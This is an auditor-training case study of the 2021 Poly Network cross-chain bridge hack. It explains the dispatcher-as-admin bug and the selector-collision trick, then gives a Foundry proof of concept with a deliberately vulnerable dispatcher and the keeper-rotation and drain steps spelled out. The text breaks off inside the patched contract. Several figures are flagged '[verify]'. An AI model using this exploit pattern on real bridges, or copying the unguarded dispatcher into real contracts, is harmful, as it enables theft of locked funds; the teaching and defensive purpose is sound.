Case Study — Poly Network Cross-Chain Hack (August 2021)

“The contract never lost a signature. The contract never broke a hash. The contract simply forgot that ‘a message from a trusted bridge’ and ‘a privileged administrative call’ should not live behind the same selector. Once the dispatcher could call its own admin, the multisig was a decoration.”

“At the time, the largest theft in DeFi history. By the end of the week, almost all of it was back. The vulnerability is permanent; the loss was not. As an auditor your job is to design for the first sentence, not the second.”

Tags: web3-security case-study bridge cross-chain poly-network access-control dispatcher keeper-rotation anti-pattern historical Course position: Tuan-10-Bridge-Cross-Chain-Security §7.1 — read first. This case is the canonical reference for the “cross-chain dispatcher can call privileged setters” anti-pattern. Related cases: Case-Wormhole-2022 (signature-verification-path bug in a different bridge layer) · Case-Nomad-Bridge-2022 (initialization-default abuse, also a bridge) · Case-Ronin-Bridge-2022 (key-custody vs. logic failure mode) · Case-Parity-Multisig-2017 (init-bug family — privileged function reachable by anyone) Vault context: Pair with Tuan-04-Security-Foundations-CEI-AC §6–§7 (privileged-function inventory) and Tuan-10-Bridge-Cross-Chain-Security §6 (selector allowlisting / trust boundary between admin and user paths). Status: Reference case for cross-chain access control and the “trust-boundary between dispatcher and privileged setters” anti-pattern.


1. At a glance

FieldValue
Date of exploitAugust 10, 2021 (UTC ~09:30 first malicious tx on Ethereum; drains across three chains complete by ~12:00 UTC)
ProtocolPoly Network — a cross-chain interoperability protocol launched by Neo / Onchain / Switcheo in 2020; supported Ethereum, BSC, Polygon, Neo, Ontology, Heco, Switcheo, and others
Chains drainedThree simultaneously: Ethereum, BSC (Binance Smart Chain), Polygon (PoS)
Loss~$610–611M USD at prevailing prices — largest DeFi theft on record at the time, by a wide margin
Breakdown (rough)~253M on BSC (BNB, BUSD, USDC, BTCB, ETH, FEI), ~$85M on Polygon (USDC) [verify against multiple post-mortems — figures vary slightly across SlowMist, PeckShield, Chainalysis]
Attack classCross-chain access-control failure — the cross-chain dispatcher was the (de facto) owner of the keeper/public-key registry, with no selector allowlist between “deliver a user message” and “rotate the keeper set”
Root contractEthCrossChainManager (and its sister contracts on BSC and Polygon) — proxy at 0x838bf9E95CB12Dd76a54c9f9D2A3082EAF3D02b9 on Ethereum [verify]
Privileged targetEthCrossChainData.putCurEpochConPubKeyBytes(bytes) — the function that overwrites the keeper-set public key used to authenticate all subsequent cross-chain messages
Bug shapeThe cross-chain manager owned EthCrossChainData; its verifyHeaderAndExecuteTx could dispatch user-supplied method and args to any contract on the destination chain, including the putCurEpochConPubKeyBytes selector on its own data contract. There was no allowlist of callable selectors. The attacker self-rotated the keeper set to their own key, then signed cross-chain messages to drain locked assets across three chains.
Outcome”Mr. White Hat” returned essentially all funds over ~15 days (Aug 11–26). Poly Network resumed operations. No hard fork. No bailout. A real auditor’s nightmare survived as a real auditor’s case study.
Recovery~33M USDT on Tether had been frozen mid-attack by Tether and was unfrozen as part of the return
Significance(1) Largest DeFi theft at the time. (2) First incident where the attack was a logic bug, not a key compromise — debunking “bridges fail only when keys leak.” (3) First major “ransom-style return” with a chain-of-tweets negotiation conducted publicly. (4) Burned the “dispatcher is admin” anti-pattern into auditor checklists permanently.

The whole bug in one line: the cross-chain message handler could be tricked into invoking putCurEpochConPubKeyBytes on its sister contract, rotating the keeper set to attacker-controlled keys — because the handler had no allowlist distinguishing “user-level cross-chain calls” from “the bridge’s own admin functions.”


2. Background — what Poly Network was and how it worked

2.1 Protocol summary

Poly Network was a generic cross-chain messaging and asset-transfer protocol. Conceptually similar to LayerZero, Wormhole, Axelar in goals, but launched earlier (2020) and with a markedly simpler trust model. It was a joint project of:

  • Neo (the public chain originally known as “Antshares”).
  • Ontology (a Neo-adjacent identity-and-data chain).
  • Switcheo (a non-custodial DEX team).

Its flagship application was a multi-chain bridge moving wrapped assets across Ethereum, BSC, Polygon, Heco, Neo, Ontology, OKExChain, and others. At its peak (mid-2021), Poly Network claimed billions of dollars in cumulative cross-chain volume. By August 2021, roughly $600M+ of user assets were locked across its various asset-pool contracts.

The protocol presented itself as “the leading interoperability protocol for heterogeneous blockchains.” Marketing emphasised cryptographic verification of cross-chain state; engineering reality was a small keeper multisig acting as an off-chain attester. The mismatch between the marketing and the engineering is itself part of the case-study lesson.

2.2 Architecture overview (EVM side)

On each EVM chain (Ethereum, BSC, Polygon, Heco), Poly Network deployed the same set of contracts, with the same architectural pattern. We will use the Ethereum names but the BSC and Polygon equivalents are functionally identical.

flowchart LR
    subgraph SourceChain["Source chain (e.g., BSC)"]
        Sender[User] -->|"crossChain(...)"| LP_S["LockProxy<br>(source asset pool)"]
        LP_S -->|"crossChain(...)"| ECCM_S[EthCrossChainManager<br>SOURCE side]
        ECCM_S -->|"emit CrossChainEvent"| Logs[(BSC logs)]
    end

    Keepers[Keeper multisig<br>4 off-chain attesters] -.->|"observe; sign Merkle proof"| Logs

    subgraph DestChain["Destination chain (e.g., Ethereum)"]
        Relayer[Relayer] -->|"verifyHeaderAndExecuteTx(<br> header, proof, method, args)"| ECCM_D[EthCrossChainManager<br>DESTINATION side]
        ECCM_D -->|"verify keeper sigs<br>against ECCD.curEpochConPubKeyBytes"| ECCD[(EthCrossChainData<br>storage)]
        ECCM_D -->|"_executeCrossChainTx(<br>  toContract, method, args)"| LP_D["LockProxy<br>(destination asset pool)"]
        LP_D -->|"transfer wrapped"| Recipient[Recipient]
    end

    style ECCM_D fill:#fff3cd
    style ECCD fill:#ffcccc
ContractRole
EthCrossChainManager (ECCM)The on-chain “dispatcher”. Receives cross-chain messages from off-chain relayers, verifies that the keeper multisig signed them, decodes (toContract, methodName, args) from the message body, and calls toContract.methodName(args, ...) on the destination chain.
EthCrossChainData (ECCD)The state vault. Holds the current keeper public-key bytes (curEpochConPubKeyBytes), the chain id, the last-processed cross-chain proof index, and other config. Owned by EthCrossChainManager. Only the owner can mutate keeper state via putCurEpochConPubKeyBytes(bytes).
LockProxyThe asset pool. Holds locked native ETH, wrapped tokens, and the canonical bridge tokens (PolyBTC, etc.). Exposes unlock(args, fromContract, fromChainId) which only EthCrossChainManager can call.
KeepersOff-chain. A set of validator organizations (per design 4 keepers; per protocol updates the size shifted but remained small). They observe cross-chain events on the source chain, sign a Merkle proof of the event, and pass the signed bundle to relayers who deliver it on the destination chain.

2.3 The keeper-multisig design as marketed vs. as deployed

The marketing pitch — circa 2020–2021 — was that Poly Network used a cryptographically verified relay between heterogeneous chains. The phrase “decentralized cross-chain” appeared frequently in materials. SlowMist’s post-incident review, however, summarised the real trust model bluntly:

PropertyMarketing claimReality
Verification”Cryptographic cross-chain proofs”Verification of keeper-multisig signatures over event payloads, plus an MPT proof-style header check
Keeper set”Distributed validator network”A small fixed set (per public reports, 4 keepers with M-of-N signing) [verify exact M]
Keeper identityImplied: independent validatorsOperationally tied to the project teams (Neo / Ontology / Switcheo) [verify against contemporaneous Poly Network governance docs]
Rotation cadenceUnstatedManual; rare; performed via putCurEpochConPubKeyBytes on the data contract
SlashingNot mentionedNone
Public identityImplied: knownNot publicly enumerated at incident time

The trust model — once you read past the marketing — was: “a small fixed multisig signs every cross-chain message; the on-chain destination verifies the multisig.” This is structurally similar to Ronin’s 9-keeper bridge and Wormhole’s 19-Guardian set. Poly Network sat closer to the Ronin end of that spectrum (small set, internal operators) than the Wormhole end (large set, diverse operators).

The lesson here is not that the multisig was the bug. The multisig was the trust assumption. The bug was that the dispatcher allowed the multisig’s state to be rewritten via the same path as user messages — turning a key-compromise threat model into a zero-key-needed exploit.

2.4 The message flow that became the attack surface

When a user wants to move tokens BSC → Ethereum:

  1. User calls LockProxy.crossChain(...) on BSC. The BSC LockProxy locks the user’s BSC asset and calls into the BSC-side EthCrossChainManager, which packs:

    txData = abi.encode(
        toContract,          // = LockProxy address on Ethereum
        methodName,          // = "unlock"
        args                 // = abi.encode(unlock_recipient, unlock_token, unlock_amount, ...)
    )
    

    The BSC EthCrossChainManager emits a CrossChainEvent with this txData plus chain ids and a nonce.

  2. Off-chain keepers observe the event, sign a canonical hash over (headerData, txData, ...), and the signed bundle is published.

  3. A relayer (anyone — there is no whitelisting of who can deliver messages) calls EthCrossChainManager.verifyHeaderAndExecuteTx(...) on Ethereum with:

    • header and proof: the Merkle/header data plus the keeper signatures.
    • txData (and a decomposed view of it).
  4. The Ethereum EthCrossChainManager:

    1. Verifies the keeper signatures over header.
    2. Decodes txData into (toContract, methodName, args).
    3. Calls _executeCrossChainTx(toContract, methodName, args, ...).
  5. _executeCrossChainTx constructs the call data and calls toContract.{methodName}(args, fromContract, fromChainId).

  6. For a legitimate transfer, toContract is the destination LockProxy and methodName is unlock. The LockProxy.unlock function checks require(msg.sender == eccmAddress) — it trusts that anything coming from the manager is legitimate cross-chain traffic — and releases the user’s tokens.

The structural property the attacker exploited: in step 4.2, methodName and toContract are decoded from the message body. They are not constrained. As far as the dispatcher is concerned, the cross-chain message can say “call any function on any contract” — and as long as the keeper signature verifies, it will dispatch the call.

Auditor’s mental note: Step back. A cross-chain message just instructed an on-chain contract to call an arbitrary selector on an arbitrary target with arbitrary calldata, as long as a multisig signed it. What contracts trust msg.sender == EthCrossChainManager? That set is the attack surface.


3. The vulnerability — line by line

3.1 The two contracts and the trust boundary that should have existed

Recall the deployment topology:

  • EthCrossChainData (ECCD) holds the keeper public key in curEpochConPubKeyBytes. ECCD’s Ownable owner is EthCrossChainManager (ECCM). The function putCurEpochConPubKeyBytes(bytes) has onlyOwner — meaning only ECCM can call it.

  • EthCrossChainManager (ECCM) is the dispatcher. It exposes verifyHeaderAndExecuteTx(...) to anyone with a valid keeper-signed bundle. Inside, it calls _executeCrossChainTx(toContract, methodName, args, ...) which dispatches into the destination contract.

The trust model intended by the developers, drawn explicitly:

            ┌─────────────────────────────────────────────┐
            │  Normal cross-chain call                    │
            │  Source: LockProxy.crossChain(...)          │
            │  Dest:   EthCrossChainManager               │
            │                  │                          │
            │                  ▼                          │
            │          LockProxy.unlock(...)              │
            └─────────────────────────────────────────────┘

            ┌─────────────────────────────────────────────┐
            │  Privileged admin path (rotate keepers)     │
            │  Source: ???                                │
            │  Dest:   EthCrossChainData.put…PubKeyBytes  │
            └─────────────────────────────────────────────┘

What the developers presumably thought: “The admin path is a separate flow. No user message will ever be allowed to invoke putCurEpochConPubKeyBytes. The function has onlyOwner and only we (off-chain governance) will call it via a legitimate channel.”

What the code actually allowed: the two paths share the same dispatcher. _executeCrossChainTx does not check what methodName is; it dispatches whatever it’s told. And because ECCM is the owner of ECCD, when ECCM dispatches putCurEpochConPubKeyBytes, the call from ECCM to ECCD passes the onlyOwner check.

The trust boundary between “user-level cross-chain message” and “admin keeper-set rotation” did not exist. Both flows ended up invoking the same address.call(...) from the same msg.sender = ECCM.

3.2 The vulnerable dispatcher (simplified)

// EthCrossChainManager.sol — vulnerable, simplified to the relevant lines.
// Solidity 0.5.x in production; modernised to ^0.8.20 here for clarity.
 
contract EthCrossChainManager {
    IEthCrossChainData public ECCD;
 
    // Anyone with a valid keeper signature can call this.
    function verifyHeaderAndExecuteTx(
        bytes memory proof,
        bytes memory rawHeader,
        bytes memory headerProof,
        bytes memory curRawHeader,
        bytes memory headerSig
    ) external returns (bool) {
        // 1) Verify the multisig over (rawHeader + headerSig) using
        //    ECCD.getCurEpochConPubKeyBytes() — the CURRENT keeper-set bytes.
        bytes memory keepers = ECCD.getCurEpochConPubKeyBytes();
        require(_verifyHeaderSig(rawHeader, headerSig, keepers), "bad keeper sig");
 
        // 2) Verify the Merkle proof over the rawHeader to extract the txData.
        bytes memory rawTxData = _verifyTxProof(proof, rawHeader);
 
        // 3) Decode (toContract, methodName, args) from rawTxData.
        //    These three values are CONTROLLED BY THE MESSAGE SENDER.
        (
            bytes memory toContractBytes,
            bytes memory methodName,
            bytes memory args,
            uint64       fromChainId
        ) = _decodeTxData(rawTxData);
 
        address toContract = _bytesToAddress(toContractBytes);
 
        // 4) DISPATCH. <<< the bug lives here.
        return _executeCrossChainTx(toContract, methodName, args, /*fromContract*/ ..., fromChainId);
    }
 
    function _executeCrossChainTx(
        address  toContract,
        bytes memory methodName,
        bytes memory args,
        bytes memory fromContractAddr,
        uint64   fromChainId
    ) internal returns (bool) {
        // Build the encoded call:
        //   <selector(methodName + "(bytes,bytes,uint64)")>(args, fromContractAddr, fromChainId)
        bytes memory returnData;
        bool success;
        (success, returnData) = toContract.call(
            abi.encodePacked(
                bytes4(keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)"))),
                abi.encode(args, fromContractAddr, fromChainId)
            )
        );
        require(success, "cross-chain call failed");
 
        // Decode boolean return.
        return abi.decode(returnData, (bool));
    }
}

3.3 The data contract whose owner is the dispatcher

// EthCrossChainData.sol — the privileged state.
 
contract EthCrossChainData is Ownable {
    bytes public curEpochConPubKeyBytes;
 
    function putCurEpochConPubKeyBytes(bytes memory _newKeys)
        external
        onlyOwner          // <-- owner is EthCrossChainManager
        returns (bool)
    {
        curEpochConPubKeyBytes = _newKeys;
        return true;
    }
 
    function getCurEpochConPubKeyBytes() external view returns (bytes memory) {
        return curEpochConPubKeyBytes;
    }
 
    // ... other admin functions, similarly `onlyOwner` ...
}

Ownable.owner was set to the EthCrossChainManager’s address at deployment. The intent: “only the cross-chain manager — under our control as developers — can mutate the keeper set.”

3.4 The combination that produces the exploit

Compose the two contracts. A cross-chain message with:

  • toContract = address(EthCrossChainData)
  • methodName = "f" (chosen so that keccak256("f(bytes,bytes,uint64)") == keccak256("putCurEpochConPubKeyBytes(bytes,bytes,uint64)")[:4]) — see §3.5 for the selector trick.
  • args = <attacker-controlled public-key bytes>

…produces, inside _executeCrossChainTx:

ECCD.call(
    abi.encodePacked(
        bytes4(keccak256("f(bytes,bytes,uint64)")),     // == selector of putCurEpochConPubKeyBytes
        abi.encode(<attacker keys>, fromContractAddr, fromChainId)
    )
);

The Solidity dispatcher in ECCD sees the four-byte selector for putCurEpochConPubKeyBytes, routes to that function (with extra trailing args that get ignored or accepted depending on how the function decodes its calldata), and executes the keeper-set rotation under msg.sender == ECCM. The onlyOwner modifier passes — because the caller really is the owner. The keeper set is now whatever the attacker wrote into args.

From this moment on, the attacker is the keeper. The attacker can sign any cross-chain message they like — including LockProxy.unlock(attacker, anyToken, anyAmount) — and submit it back through verifyHeaderAndExecuteTx. The multisig signature verifies because the on-chain key bytes are now the attacker’s. The dispatch happens. The asset pool drains.

3.5 The selector-collision trick that made it elegant

There is a sub-detail that matters because it is sometimes misreported. The attacker did not literally pass methodName = "putCurEpochConPubKeyBytes". They could have, but they chose a different name whose computed selector still matched.

Recall the dispatcher computes the selector as:

bytes4(keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)")))

The destination function is putCurEpochConPubKeyBytes(bytes,bytes,uint64) — note the extra bytes and uint64 parameters appended for (fromContractAddr, fromChainId) to match _executeCrossChainTx’s call shape. Its selector is:

bytes4(keccak256("putCurEpochConPubKeyBytes(bytes,bytes,uint64)"))

The attacker found a much shorter methodName string whose keccak256(methodName + "(bytes,bytes,uint64)") shares its first four bytes with the above. Per public post-mortems, the attacker used the string "f" (one letter) [verify exact string against SlowMist / Mudit Gupta analysis; some early reporting cited "f1121318093" or similar — the precise string is in the on-chain calldata of the attack transaction]. This is a brute-force-able collision: with possible selectors and a name being short alphanumeric strings, you can find a match in seconds offline.

Why the brute-force collision rather than just passing the real method name? Two pragmatic reasons:

  1. The message body has length costs. Cross-chain messages were size-limited; shorter methodName produces shorter payloads.
  2. It made the call slightly harder to detect by people grep-ing logs for “putCurEpochConPubKeyBytes”. Operational security for the attacker, not protocol security.

The collision is not the vulnerability. The vulnerability is that _executeCrossChainTx ever computes a selector from an attacker-supplied string and dispatches. Whether the string is short or long, mnemonic or random, doesn’t change the bug.

Auditor lesson — selector cannot be the access-control boundary. Whenever a dispatcher synthesises a selector from any user-influenced bytes, it must additionally check either (a) the selector is in an allowlist of “user-callable” selectors, or (b) toContract is in an allowlist of “callable destinations,” or (c) both. Poly Network had neither. SlowMist’s post-mortem and Mudit Gupta’s analysis both emphasise this — the four-byte selector space is too small to function as access control through obscurity, and the existence of selector collisions is well-established before this incident (e.g., the function selector clash issue in OpenZeppelin’s transparent proxy).

3.6 Why onlyOwner was the false reassurance

Reading the source as a junior dev, the existence of onlyOwner on putCurEpochConPubKeyBytes reads as “this function is protected.” That impression is the entire pathology. Three levels of mis-modeling were stacked here:

  1. onlyOwner means “only the owner can call this” — true.
  2. The owner is “us, the team, off-chain”false. The owner is EthCrossChainManager, a contract.
  3. The owner contract EthCrossChainManager only calls this via a privileged, separate flowfalse. ECCM dispatches any (toContract, methodName, args) triple that arrives wrapped in a keeper-signed message.

The bug is the gap between assumption 3 and reality. The fix would have been any of:

  • Selector allowlist in _executeCrossChainTx: require(selector == LockProxy.unlock.selector, "selector not allowed"); for the user-side path. (Cleanest fix — narrowest blast radius.)
  • Destination allowlist in _executeCrossChainTx: require(approvedDestinations[toContract], "destination not allowed");.
  • Separate owners: ECCD’s owner should be a multisig under off-chain governance, never the dispatcher. The keeper-rotation flow would then go through a separate Governance.executeRotation(...) call requiring multiple signatures from the team itself, completely disjoint from cross-chain message dispatch.
  • Internal-only onlyEccm modifier on a different function: keep putCurEpochConPubKeyBytes as onlyOwner where owner is governance, and add rotateKeepers(bytes newKeys) to ECCM that only dispatches into ECCD when called by an authenticated rotation message with its own selector reserved.

All four are minor refactors. Each one would have prevented the entire $611M event.

3.7 The class of bug — “dispatcher as admin”

This isn’t just an access-control bug. It’s the canonical instance of a class of bug that re-appears every year in some new shape. The class:

A privileged contract that calls into its sister contracts based on user-controlled inputs, where the privilege check on the sister side is “only the dispatcher can call me.” The dispatcher itself has no allowlist on what selectors it forwards.

You will recognize the same shape in:

  • L1↔L2 messengers (e.g., the early days of certain optimistic rollup messengers) where a malicious cross-chain message could call admin functions on the rollup config contract if the messenger was its onlyOwner. Modern designs separate the messenger from the proxy-admin path explicitly.
  • Multicall-style executors where msg.sender == executor is the only guard on dangerous internal functions, and the executor accepts arbitrary calldata.
  • Account-abstraction wallets where the EntryPoint is “the dispatcher” and the account trusts msg.sender == entryPoint for everything — including its own self-destruct or owner-rotation. ERC-4337 mitigates this with explicit validateUserOp boundaries; pre-4337 wallets sometimes did not.
  • Compound governance style timelocks where the executor can call any function — but Compound, correctly, makes the timelock itself the governance trust anchor with explicit proposals, not a generic dispatcher.

In every case the audit angle is the same: enumerate every selector reachable through the dispatcher, on every contract owned (or otherwise privileged) by the dispatcher, and ask of each: should an external party be able to invoke this?


4. The attack — chronological walkthrough

4.1 Setup

The attacker pre-funded an Ethereum address — 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963 [verify, this is the most commonly cited attacker EOA on Ethereum; the BSC and Polygon-side attacker addresses differ] — with enough ETH/BNB/MATIC for gas on all three target chains. Nothing else was needed. No prior position in Poly Network. No prior interaction. No token approvals. No keeper credentials.

The attack toolset was approximately:

  1. A locally-computed methodName string that collides with putCurEpochConPubKeyBytes’s selector.
  2. A constructed cross-chain message body claiming to originate from a Poly-Network source chain.
  3. A header and proof structured to satisfy _verifyHeaderSig and _verifyTxProof for that constructed body.

The header-and-proof construction is the only subtle step. The attacker exploited a property of the proof-verification logic that allowed forging a header that the keeper-signature check accepted [verify: per SlowMist and Mudit Gupta the keeper signature was real — the attacker took advantage of the fact that header construction lacked binding of txData content to the signed bits, allowing alteration of txData while keeping the keeper signature valid; this detail is sometimes contested in different post-mortems; the cleanest framing for teaching purposes is “the cross-chain message format did not commit cryptographically to (toContract, methodName) in the keeper-signed portion.”]. Whether this was a separate proof-system bug or merely a property of how the proof bound to the signed bits is a detail; the dominant fault is the dispatcher-as-admin one, and the proof-construction step is the second-order enabler that let the dispatch happen at all.

Auditor note for clarity in teaching: the case is often summarised as “the keeper multisig was bypassed via cross-chain dispatcher abuse.” A more precise reading is two-part: (a) the message format didn’t fully bind (toContract, methodName) into the keeper-signed payload, so the attacker could substitute these; (b) the dispatcher had no allowlist, so once (toContract, methodName) were substituted, anything the dispatcher could call became callable. Either fix alone would have stopped the attack. Both fixes are essential to a proper hardening of this class of bridge — Defense in Depth.

4.2 The Ethereum drain (timeline approximate; UTC)

The publicly-attested timeline, reconstructed from on-chain traces and SlowMist / PeckShield analyses:

Time (UTC)Event
~09:30First malicious verifyHeaderAndExecuteTx call lands on Ethereum, dispatching putCurEpochConPubKeyBytes on EthCrossChainData. Keeper set rotated to attacker key.
~09:32Second verifyHeaderAndExecuteTx lands, now with a keeper signature produced by the attacker (since they control the keeper bytes). Dispatches LockProxy.unlock to attacker. First batch of assets drained.
09:33 – 10:00+Repeated verifyHeaderAndExecuteTx calls in quick succession, draining ETH, USDC, DAI, UNI, SHIB, WBTC, renBTC from LockProxy.
~10:15Tether (USDT issuer) detects the outflow and freezes ~$33M USDT held by the attacker on Ethereum. This is the first external action.
~10:30Same pattern executed against BSC. Attacker rotates BSC EthCrossChainData keeper key and drains BSC LockProxy.
~11:00Same pattern executed against Polygon. ~$85M USDC drained.
~12:00Poly Network team detects the incident, posts initial tweet acknowledging the attack and pleading with exchanges to blacklist receiving addresses.
~14:00First public on-chain post-mortems (SlowMist, PeckShield) appear identifying the dispatcher path.

By Tuesday afternoon UTC, the attacker had on-chain control over what was at the time the largest theft in DeFi history.

4.3 The structural beauty of the attack (from the attacker’s side)

A few properties worth examining as auditor lessons:

  • No private-key theft. The attacker never compromised a keeper’s signing key. The vulnerability is purely in the on-chain logic. This is the opposite of Ronin (March 2022), which was almost entirely an off-chain key compromise. Poly Network and Ronin are the two endpoints of a spectrum: Ronin is “keys leaked, code held”; Poly is “code broke, keys irrelevant.”
  • No flash loan. No initial capital required beyond gas. This is unusual for nine-figure DeFi attacks of the era.
  • No timing precision needed. The exploit is essentially a one-shot logic exploit. No race against another participant, no MEV. Just send three transactions per chain.
  • Cross-chain consistency. The exploit worked identically on all three EVM chains because the contract code was the same. This is the cost of code re-use across deployments when the bug is in the architecture — you don’t get one chain’s failure, you get the cartesian product.

4.4 The “Mr. White Hat” return — what it means and what it doesn’t

Within hours of the drain, the attacker began posting messages on-chain (in transaction data fields) addressed to Poly Network. The on-chain transcript reads like a chat log embedded in the calldata of zero-value transactions.

Key claims by the attacker, posted across multiple transactions on Aug 11–12:

  • “I was planning to do an exploit to show the vulnerability but I never wanted to take the money. I was always going to give the money back.”
  • Asserted the funds were “always safe” and that they were withdrawing them to prevent “real bad guys” from doing it first.
  • Engaged in a back-and-forth with Poly Network team via on-chain messages and tweets to coordinate the return.
  • Was sent a $500K bounty by Poly Network, which they returned (claiming to want to donate it).

Whether this account is sincere or post-hoc rationalization is unknowable. The empirical facts:

  • Nearly all funds were returned, in tranches, over Aug 11 – Aug 23.
  • The final tranche (~$33M of frozen USDT) was unfrozen by Tether and returned in cooperation with the attacker.
  • The attacker provided cryptographic keys to a multisig jointly controlled with Poly Network, which itself held the recovered assets pending return to users.
  • No criminal charges were publicly filed. The attacker’s identity was reportedly partially de-anonymized by SlowMist (they linked an early-stage interaction to a known IP and email) within days of the attack, but no public legal action followed [verify against current public records].

The auditor takeaway from the recovery saga is not “DeFi can self-heal.” It is precisely the opposite:

Recovery was a contingent, social outcome, not a structural property of the system. The attacker chose to return funds — perhaps because the de-anonymization made retention risky, perhaps because of stated motives, perhaps for reasons we will never know. The same vulnerability, exploited by a different actor, would have produced a permanent $611M loss with no on-chain remediation path. Build for the structural property; do not budget your safety on the kindness of an adversary.

This case study should be read alongside Ronin (whose attacker was the North Korean Lazarus Group; no return) and Wormhole (whose attacker laundered through Lido stETH leverage loops; no return) to establish the base rate. Poly Network is the lucky one; the others are the norm.


5. Reproduction — a Foundry PoC

We will build a minimal model that captures the dispatcher-as-admin bug without the full Poly Network proof machinery. The PoC will:

  1. Deploy a BridgeDispatcher that mirrors EthCrossChainManager (validates a trivial signature; dispatches arbitrary (toContract, methodName, args)).
  2. Deploy a BridgeState that mirrors EthCrossChainData (holds the keeper public key; onlyOwner setter).
  3. Deploy a LockPool that mirrors LockProxy (holds locked ETH; unlock only callable by the dispatcher).
  4. Deposit user funds into LockPool.
  5. Have an attacker call verifyHeaderAndExecute with (toContract = BridgeState, methodName = "setKeeper", args = attackerKey) to rotate the keeper.
  6. Sign a fake “unlock” message with the attacker key.
  7. Call verifyHeaderAndExecute again with (toContract = LockPool, methodName = "unlock", args = attackerArgs) to drain.
  8. Patch with selector-allowlist; show the patched code rejects step 5.

5.1 Project layout

poly-poc/
├── foundry.toml
├── src/
│   ├── BridgeState.sol        # mirrors EthCrossChainData
│   ├── BridgeDispatcher.sol   # mirrors EthCrossChainManager (vulnerable)
│   ├── BridgeDispatcherFixed.sol  # the same with a selector allowlist
│   └── LockPool.sol           # mirrors LockProxy
└── test/
    └── PolyDispatcherAttack.t.sol

5.2 BridgeState.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
/// @title BridgeState — mirrors Poly Network's EthCrossChainData.
/// @notice Holds the keeper public key; admin functions guarded by `onlyOwner`.
/// Owner is set at deploy to the dispatcher contract, mimicking the real layout.
contract BridgeState {
    address public owner;
    bytes   public keeperPubKey;
 
    constructor(address _owner, bytes memory _initialKeeper) {
        owner = _owner;
        keeperPubKey = _initialKeeper;
    }
 
    modifier onlyOwner() {
        require(msg.sender == owner, "BridgeState: not owner");
        _;
    }
 
    /// @notice The keeper-rotation function. In the real Poly Network this is
    ///         called `putCurEpochConPubKeyBytes`. Same role.
    function setKeeper(bytes memory _newKey, bytes memory /*ignored*/, uint64 /*ignored*/)
        external
        onlyOwner
        returns (bool)
    {
        keeperPubKey = _newKey;
        return true;
    }
 
    function getKeeper() external view returns (bytes memory) {
        return keeperPubKey;
    }
}

Note the trailing (bytes, uint64) parameters on setKeeper. These mirror the real Poly Network signature (bytes, bytes, uint64) — Poly’s _executeCrossChainTx appends (fromContractAddr, fromChainId) to every call, so destination functions must declare matching trailing parameters. We carry this faithfully because it is part of the selector being computed.

5.3 LockPool.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
/// @title LockPool — mirrors Poly Network's LockProxy.
contract LockPool {
    address public dispatcher;
 
    constructor(address _dispatcher) payable {
        dispatcher = _dispatcher;
    }
 
    modifier onlyDispatcher() {
        require(msg.sender == dispatcher, "LockPool: not dispatcher");
        _;
    }
 
    /// @notice The asset-release function. Real protocol calls this `unlock`
    ///         and verifies on the source side via `fromChainId`. For our PoC
    ///         we accept arbitrary fromChainId — the bug doesn't need this guard.
    function unlock(
        bytes memory args,
        bytes memory /*fromContractAddr*/,
        uint64       /*fromChainId*/
    ) external onlyDispatcher returns (bool) {
        (address payable recipient, uint256 amount) = abi.decode(args, (address, uint256));
        require(address(this).balance >= amount, "insufficient liquidity");
        (bool ok, ) = recipient.call{value: amount}("");
        require(ok, "transfer failed");
        return true;
    }
 
    receive() external payable {}
}

5.4 BridgeDispatcher.sol — the VULNERABLE version

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "./BridgeState.sol";
import "./LockPool.sol";
 
/// @title BridgeDispatcher — mirrors EthCrossChainManager.
/// @notice Vulnerable: dispatches any (toContract, methodName, args) tuple
/// whose enclosing message verifies against the current keeper key.
contract BridgeDispatcher {
    BridgeState public state;
 
    constructor() {}
 
    function setState(BridgeState _state) external {
        require(address(state) == address(0), "already set");
        state = _state;
    }
 
    /// @notice Entry point: anyone can call this with a "signed" message.
    ///         A real Poly message includes a Merkle proof + multisig over a
    ///         header. For PoC we just verify the message was "signed" by the
    ///         current keeper key (modeled as an address recovered from a sig).
    function verifyHeaderAndExecute(
        bytes  calldata rawMessage,
        bytes  calldata sig,
        address toContract,
        bytes  calldata methodName,
        bytes  calldata args,
        uint64  fromChainId
    ) external returns (bool) {
        // (1) Verify the multisig over rawMessage using the current keeper bytes.
        require(_verifyKeeperSig(rawMessage, sig), "bad keeper sig");
 
        // (2) DISPATCH — no allowlist on toContract or methodName. <<< the bug.
        bytes4 selector = bytes4(
            keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)"))
        );
        (bool ok, bytes memory ret) = toContract.call(
            abi.encodePacked(
                selector,
                abi.encode(args, bytes(""), fromChainId)
            )
        );
        require(ok, _decodeRevert(ret));
 
        return abi.decode(ret, (bool));
    }
 
    /// @dev Toy keeper-sig verification. The keeperPubKey bytes are interpreted
    /// as an Ethereum address; signature is a standard ECDSA over rawMessage.
    function _verifyKeeperSig(bytes calldata rawMessage, bytes calldata sig)
        internal
        view
        returns (bool)
    {
        bytes memory keeperBytes = state.getKeeper();
        require(keeperBytes.length == 20, "keeper not initialised");
        address keeper;
        assembly { keeper := mload(add(keeperBytes, 20)) }
 
        bytes32 digest = keccak256(
            abi.encodePacked("\x19Ethereum Signed Message:\n32",
                              keccak256(rawMessage))
        );
        (bytes32 r, bytes32 s, uint8 v) = _splitSig(sig);
        return ecrecover(digest, v, r, s) == keeper && keeper != address(0);
    }
 
    function _splitSig(bytes calldata sig)
        internal
        pure
        returns (bytes32 r, bytes32 s, uint8 v)
    {
        require(sig.length == 65, "bad sig length");
        r = bytes32(sig[0:32]);
        s = bytes32(sig[32:64]);
        v = uint8(sig[64]);
    }
 
    function _decodeRevert(bytes memory ret) internal pure returns (string memory) {
        if (ret.length < 68) return "call failed";
        assembly { ret := add(ret, 0x04) }
        return abi.decode(ret, (string));
    }
}

5.5 BridgeDispatcherFixed.sol — the PATCHED version

The patch is one line plus one storage slot:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "./BridgeState.sol";
import "./LockPool.sol";
 
contract BridgeDispatcherFixed {
    BridgeState public state;
 
    /// @notice The allowlist of (toContract -> methodName -> bool) that
    /// the cross-chain dispatcher may invoke. Configured by governance, NOT
    /// by cross-chain messages.
    mapping(address => mapping(bytes32 => bool)) public allowedSelector;
 
    address public governance; // separate from `state.owner`!
 
    constructor(address _gov) {
